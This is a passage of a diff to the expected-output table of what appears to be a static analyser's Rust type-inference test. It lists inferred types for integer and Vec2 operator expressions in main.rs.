main.rs:1541:9:1541:22 | i64_rem_assign | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1541:9:1541:31 | ... %= ... | | file://:0:0:0:0 | () | -| main.rs:1541:27:1541:31 | 32i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1544:13:1544:22 | i64_bitand | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1544:26:1544:30 | 33i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1544:26:1544:38 | ... & ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1544:34:1544:38 | 34i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1545:13:1545:21 | i64_bitor | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1545:25:1545:29 | 35i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1545:25:1545:37 | ... \| ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1545:33:1545:37 | 36i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1546:13:1546:22 | i64_bitxor | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1546:26:1546:30 | 37i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1546:26:1546:38 | ... ^ ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1546:34:1546:38 | 38i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1547:13:1547:19 | i64_shl | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1547:23:1547:27 | 39i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1547:23:1547:36 | ... << ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1547:32:1547:36 | 40i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1548:13:1548:19 | i64_shr | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1548:23:1548:27 | 41i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1548:23:1548:36 | ... >> ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1548:32:1548:36 | 42i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1551:13:1551:33 | mut i64_bitand_assign | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1551:37:1551:41 | 43i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1552:9:1552:25 | i64_bitand_assign | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1552:9:1552:34 | ... &= ... | | file://:0:0:0:0 | () | -| main.rs:1552:30:1552:34 | 44i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1554:13:1554:32 | mut i64_bitor_assign | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1554:36:1554:40 | 45i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1555:9:1555:24 | i64_bitor_assign | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1555:9:1555:33 | ... \|= ... | | file://:0:0:0:0 | () | -| main.rs:1555:29:1555:33 | 46i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1557:13:1557:33 | mut i64_bitxor_assign | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1557:37:1557:41 | 47i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1558:9:1558:25 | i64_bitxor_assign | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1558:9:1558:34 | ... ^= ... | | file://:0:0:0:0 | () | -| main.rs:1558:30:1558:34 | 48i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1560:13:1560:30 | mut i64_shl_assign | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1560:34:1560:38 | 49i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1561:9:1561:22 | i64_shl_assign | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1561:9:1561:32 | ... <<= ... | | file://:0:0:0:0 | () | -| main.rs:1561:28:1561:32 | 50i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1563:13:1563:30 | mut i64_shr_assign | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1563:34:1563:38 | 51i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1564:9:1564:22 | i64_shr_assign | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1564:9:1564:32 | ... >>= ... | | file://:0:0:0:0 | () | -| main.rs:1564:28:1564:32 | 52i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1566:13:1566:19 | i64_neg | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1566:23:1566:28 | - ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1566:24:1566:28 | 53i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1567:13:1567:19 | i64_not | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1567:23:1567:28 | ! ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1567:24:1567:28 | 54i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1570:13:1570:14 | v1 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1570:18:1570:36 | Vec2 {...} | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1570:28:1570:28 | 1 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1570:28:1570:28 | 1 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1570:34:1570:34 | 2 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1570:34:1570:34 | 2 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1571:13:1571:14 | v2 | | file://:0:0:0:0 | & | -| main.rs:1571:13:1571:14 | v2 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1571:13:1571:14 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1571:18:1571:36 | Vec2 {...} | | file://:0:0:0:0 | & | -| main.rs:1571:18:1571:36 | Vec2 {...} | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1571:18:1571:36 | Vec2 {...} | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1571:28:1571:28 | 3 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1571:28:1571:28 | 3 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1571:34:1571:34 | 4 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1571:34:1571:34 | 4 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1574:13:1574:19 | vec2_eq | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1574:23:1574:24 | v1 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1574:23:1574:30 | ... == ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1574:29:1574:30 | v2 | | file://:0:0:0:0 | & | -| main.rs:1574:29:1574:30 | v2 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1574:29:1574:30 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1575:13:1575:19 | vec2_ne | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1575:23:1575:24 | v1 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1575:23:1575:30 | ... != ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1575:29:1575:30 | v2 | | file://:0:0:0:0 | & | -| main.rs:1575:29:1575:30 | v2 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1575:29:1575:30 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1576:13:1576:19 | vec2_lt | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1576:23:1576:24 | v1 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1576:23:1576:29 | ... < ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1576:28:1576:29 | v2 | | file://:0:0:0:0 | & | -| main.rs:1576:28:1576:29 | v2 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1576:28:1576:29 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1577:13:1577:19 | vec2_le | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1577:23:1577:24 | v1 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1577:23:1577:30 | ... <= ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1577:29:1577:30 | v2 | | file://:0:0:0:0 | & | -| main.rs:1577:29:1577:30 | v2 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1577:29:1577:30 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1578:13:1578:19 | vec2_gt | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1578:23:1578:24 | v1 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1578:23:1578:29 | ... > ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1578:28:1578:29 | v2 | | file://:0:0:0:0 | & | -| main.rs:1578:28:1578:29 | v2 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1578:28:1578:29 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1579:13:1579:19 | vec2_ge | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1579:23:1579:24 | v1 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1579:23:1579:30 | ... >= ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1579:29:1579:30 | v2 | | file://:0:0:0:0 | & | -| main.rs:1579:29:1579:30 | v2 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1579:29:1579:30 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1582:13:1582:20 | vec2_add | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1582:24:1582:25 | v1 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1582:24:1582:30 | ... + ... | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1582:29:1582:30 | v2 | | file://:0:0:0:0 | & | -| main.rs:1582:29:1582:30 | v2 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1582:29:1582:30 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1583:13:1583:20 | vec2_sub | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1583:24:1583:25 | v1 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1583:24:1583:30 | ... - ... | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1583:29:1583:30 | v2 | | file://:0:0:0:0 | & | -| main.rs:1583:29:1583:30 | v2 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1583:29:1583:30 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1584:13:1584:20 | vec2_mul | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1584:24:1584:25 | v1 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1584:24:1584:30 | ... * ... | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1584:29:1584:30 | v2 | | file://:0:0:0:0 | & | -| main.rs:1584:29:1584:30 | v2 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1584:29:1584:30 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1585:13:1585:20 | vec2_div | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1585:24:1585:25 | v1 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1585:24:1585:30 | ... / ... | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1585:29:1585:30 | v2 | | file://:0:0:0:0 | & | -| main.rs:1585:29:1585:30 | v2 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1585:29:1585:30 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1586:13:1586:20 | vec2_rem | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1586:24:1586:25 | v1 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1586:24:1586:30 | ... % ... | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1586:29:1586:30 | v2 | | file://:0:0:0:0 | & | -| main.rs:1586:29:1586:30 | v2 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1586:29:1586:30 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1589:13:1589:31 | mut vec2_add_assign | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1589:35:1589:36 | v1 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1590:9:1590:23 | vec2_add_assign | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1590:9:1590:29 | ... += ... | | file://:0:0:0:0 | () | -| main.rs:1590:28:1590:29 | v2 | | file://:0:0:0:0 | & | -| main.rs:1590:28:1590:29 | v2 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1590:28:1590:29 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1592:13:1592:31 | mut vec2_sub_assign | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1592:35:1592:36 | v1 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1593:9:1593:23 | vec2_sub_assign | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1593:9:1593:29 | ... -= ... | | file://:0:0:0:0 | () | -| main.rs:1593:28:1593:29 | v2 | | file://:0:0:0:0 | & | -| main.rs:1593:28:1593:29 | v2 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1593:28:1593:29 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1595:13:1595:31 | mut vec2_mul_assign | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1595:35:1595:36 | v1 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1596:9:1596:23 | vec2_mul_assign | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1596:9:1596:29 | ... *= ... | | file://:0:0:0:0 | () | -| main.rs:1596:28:1596:29 | v2 | | file://:0:0:0:0 | & | -| main.rs:1596:28:1596:29 | v2 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1596:28:1596:29 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1598:13:1598:31 | mut vec2_div_assign | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1598:35:1598:36 | v1 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1599:9:1599:23 | vec2_div_assign | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1599:9:1599:29 | ... /= ... | | file://:0:0:0:0 | () | -| main.rs:1599:28:1599:29 | v2 | | file://:0:0:0:0 | & | -| main.rs:1599:28:1599:29 | v2 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1599:28:1599:29 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1601:13:1601:31 | mut vec2_rem_assign | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1601:35:1601:36 | v1 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1602:9:1602:23 | vec2_rem_assign | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1602:9:1602:29 | ... %= ... | | file://:0:0:0:0 | () | -| main.rs:1602:28:1602:29 | v2 | | file://:0:0:0:0 | & | -| main.rs:1602:28:1602:29 | v2 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1602:28:1602:29 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1605:13:1605:23 | vec2_bitand | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1605:27:1605:28 | v1 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1605:27:1605:33 | ... & ... | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1605:32:1605:33 | v2 | | file://:0:0:0:0 | & | -| main.rs:1605:32:1605:33 | v2 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1605:32:1605:33 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1606:13:1606:22 | vec2_bitor | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1606:26:1606:27 | v1 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1606:26:1606:32 | ... \| ... | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1606:31:1606:32 | v2 | | file://:0:0:0:0 | & | -| main.rs:1606:31:1606:32 | v2 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1606:31:1606:32 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1607:13:1607:23 | vec2_bitxor | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1607:27:1607:28 | v1 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1607:27:1607:33 | ... ^ ... | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1607:32:1607:33 | v2 | | file://:0:0:0:0 | & | -| main.rs:1607:32:1607:33 | v2 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1607:32:1607:33 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1608:13:1608:20 | vec2_shl | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1608:24:1608:25 | v1 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1608:24:1608:33 | ... << ... | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1608:30:1608:33 | 1u32 | | file:///BUILTINS/types.rs:17:1:17:15 | u32 | -| main.rs:1609:13:1609:20 | vec2_shr | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1609:24:1609:25 | v1 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1609:24:1609:33 | ... >> ... | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1609:30:1609:33 | 1u32 | | file:///BUILTINS/types.rs:17:1:17:15 | u32 | -| main.rs:1612:13:1612:34 | mut vec2_bitand_assign | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1612:38:1612:39 | v1 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1613:9:1613:26 | vec2_bitand_assign | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1613:9:1613:32 | ... &= ... | | file://:0:0:0:0 | () | -| main.rs:1613:31:1613:32 | v2 | | file://:0:0:0:0 | & | -| main.rs:1613:31:1613:32 | v2 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1613:31:1613:32 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1615:13:1615:33 | mut vec2_bitor_assign | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1615:37:1615:38 | v1 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1616:9:1616:25 | vec2_bitor_assign | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1616:9:1616:31 | ... \|= ... | | file://:0:0:0:0 | () | -| main.rs:1616:30:1616:31 | v2 | | file://:0:0:0:0 | & | -| main.rs:1616:30:1616:31 | v2 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1616:30:1616:31 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1618:13:1618:34 | mut vec2_bitxor_assign | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1618:38:1618:39 | v1 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1619:9:1619:26 | vec2_bitxor_assign | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1619:9:1619:32 | ... ^= ... | | file://:0:0:0:0 | () | -| main.rs:1619:31:1619:32 | v2 | | file://:0:0:0:0 | & | -| main.rs:1619:31:1619:32 | v2 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1619:31:1619:32 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1621:13:1621:31 | mut vec2_shl_assign | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1621:35:1621:36 | v1 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1622:9:1622:23 | vec2_shl_assign | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1622:9:1622:32 | ... <<= ... | | file://:0:0:0:0 | () | -| main.rs:1622:29:1622:32 | 1u32 | | file:///BUILTINS/types.rs:17:1:17:15 | u32 | -| main.rs:1624:13:1624:31 | mut vec2_shr_assign | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1624:35:1624:36 | v1 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1625:9:1625:23 | vec2_shr_assign | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1625:9:1625:32 | ... >>= ... | | file://:0:0:0:0 | () | -| main.rs:1625:29:1625:32 | 1u32 | | file:///BUILTINS/types.rs:17:1:17:15 | u32 | -| main.rs:1628:13:1628:20 | vec2_neg | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1628:24:1628:26 | - ... | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1628:25:1628:26 | v1 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1629:13:1629:20 | vec2_not | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1629:24:1629:26 | ! ... | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1629:25:1629:26 | v1 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1635:5:1635:20 | ...::f(...) | | main.rs:67:5:67:21 | Foo | -| main.rs:1636:5:1636:60 | ...::g(...) | | main.rs:67:5:67:21 | Foo | -| main.rs:1636:20:1636:38 | ...::Foo {...} | | main.rs:67:5:67:21 | Foo | -| main.rs:1636:41:1636:59 | ...::Foo {...} | | main.rs:67:5:67:21 | Foo | +| main.rs:1502:22:1502:26 | other | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1502:44:1504:9 | { ... } | | {EXTERNAL LOCATION} | bool | +| main.rs:1503:13:1503:16 | self | | file://:0:0:0:0 | & | +| main.rs:1503:13:1503:16 | self | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1503:13:1503:18 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1503:13:1503:29 | ... != ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1503:13:1503:50 | ... \|\| ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1503:23:1503:27 | other | | file://:0:0:0:0 | & | +| main.rs:1503:23:1503:27 | other | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1503:23:1503:29 | other.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1503:34:1503:37 | self | | file://:0:0:0:0 | & | +| main.rs:1503:34:1503:37 | self | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1503:34:1503:39 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1503:34:1503:50 | ... != ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1503:44:1503:48 | other | | file://:0:0:0:0 | & | +| main.rs:1503:44:1503:48 | other | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1503:44:1503:50 | other.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1508:24:1508:28 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1508:24:1508:28 | SelfParam | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1508:31:1508:35 | other | | file://:0:0:0:0 | & | +| main.rs:1508:31:1508:35 | other | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1508:75:1510:9 | { ... } | | {EXTERNAL LOCATION} | Option | +| main.rs:1508:75:1510:9 | { ... } | T | {EXTERNAL LOCATION} | Ordering | +| main.rs:1509:13:1509:29 | (...) | | {EXTERNAL LOCATION} | i64 | +| main.rs:1509:13:1509:63 | ... .partial_cmp(...) | | {EXTERNAL LOCATION} | Option | +| main.rs:1509:13:1509:63 | ... .partial_cmp(...) | T | {EXTERNAL LOCATION} | Ordering | +| main.rs:1509:14:1509:17 | self | | file://:0:0:0:0 | & | +| main.rs:1509:14:1509:17 | self | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1509:14:1509:19 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1509:14:1509:28 | ... + ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1509:23:1509:26 | self | | file://:0:0:0:0 | & | +| main.rs:1509:23:1509:26 | self | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1509:23:1509:28 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1509:43:1509:62 | &... | | file://:0:0:0:0 | & | +| main.rs:1509:43:1509:62 | &... | &T | {EXTERNAL LOCATION} | i64 | +| main.rs:1509:44:1509:62 | (...) | | {EXTERNAL LOCATION} | i64 | +| main.rs:1509:45:1509:49 | other | | file://:0:0:0:0 | & | +| main.rs:1509:45:1509:49 | other | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1509:45:1509:51 | other.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1509:45:1509:61 | ... + ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1509:55:1509:59 | other | | file://:0:0:0:0 | & | +| main.rs:1509:55:1509:59 | other | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1509:55:1509:61 | other.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1512:15:1512:19 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1512:15:1512:19 | SelfParam | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1512:22:1512:26 | other | | file://:0:0:0:0 | & | +| main.rs:1512:22:1512:26 | other | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1512:44:1514:9 | { ... } | | {EXTERNAL LOCATION} | bool | +| main.rs:1513:13:1513:16 | self | | file://:0:0:0:0 | & | +| main.rs:1513:13:1513:16 | self | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1513:13:1513:18 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1513:13:1513:28 | ... < ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1513:13:1513:48 | ... && ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1513:22:1513:26 | other | | file://:0:0:0:0 | & | +| main.rs:1513:22:1513:26 | other | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1513:22:1513:28 | other.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1513:33:1513:36 | self | | file://:0:0:0:0 | & | +| main.rs:1513:33:1513:36 | self | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1513:33:1513:38 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1513:33:1513:48 | ... < ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1513:42:1513:46 | other | | file://:0:0:0:0 | & | +| main.rs:1513:42:1513:46 | other | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1513:42:1513:48 | other.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1516:15:1516:19 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1516:15:1516:19 | SelfParam | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1516:22:1516:26 | other | | file://:0:0:0:0 | & | +| main.rs:1516:22:1516:26 | other | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1516:44:1518:9 | { ... } | | {EXTERNAL LOCATION} | bool | +| main.rs:1517:13:1517:16 | self | | file://:0:0:0:0 | & | +| main.rs:1517:13:1517:16 | self | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1517:13:1517:18 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1517:13:1517:29 | ... <= ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1517:13:1517:50 | ... && ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1517:23:1517:27 | other | | file://:0:0:0:0 | & | +| main.rs:1517:23:1517:27 | other | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1517:23:1517:29 | other.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1517:34:1517:37 | self | | file://:0:0:0:0 | & | +| main.rs:1517:34:1517:37 | self | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1517:34:1517:39 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1517:34:1517:50 | ... <= ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1517:44:1517:48 | other | | file://:0:0:0:0 | & | +| main.rs:1517:44:1517:48 | other | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1517:44:1517:50 | other.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1520:15:1520:19 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1520:15:1520:19 | SelfParam | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1520:22:1520:26 | other | | file://:0:0:0:0 | & | +| main.rs:1520:22:1520:26 | other | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1520:44:1522:9 | { ... } | | {EXTERNAL LOCATION} | 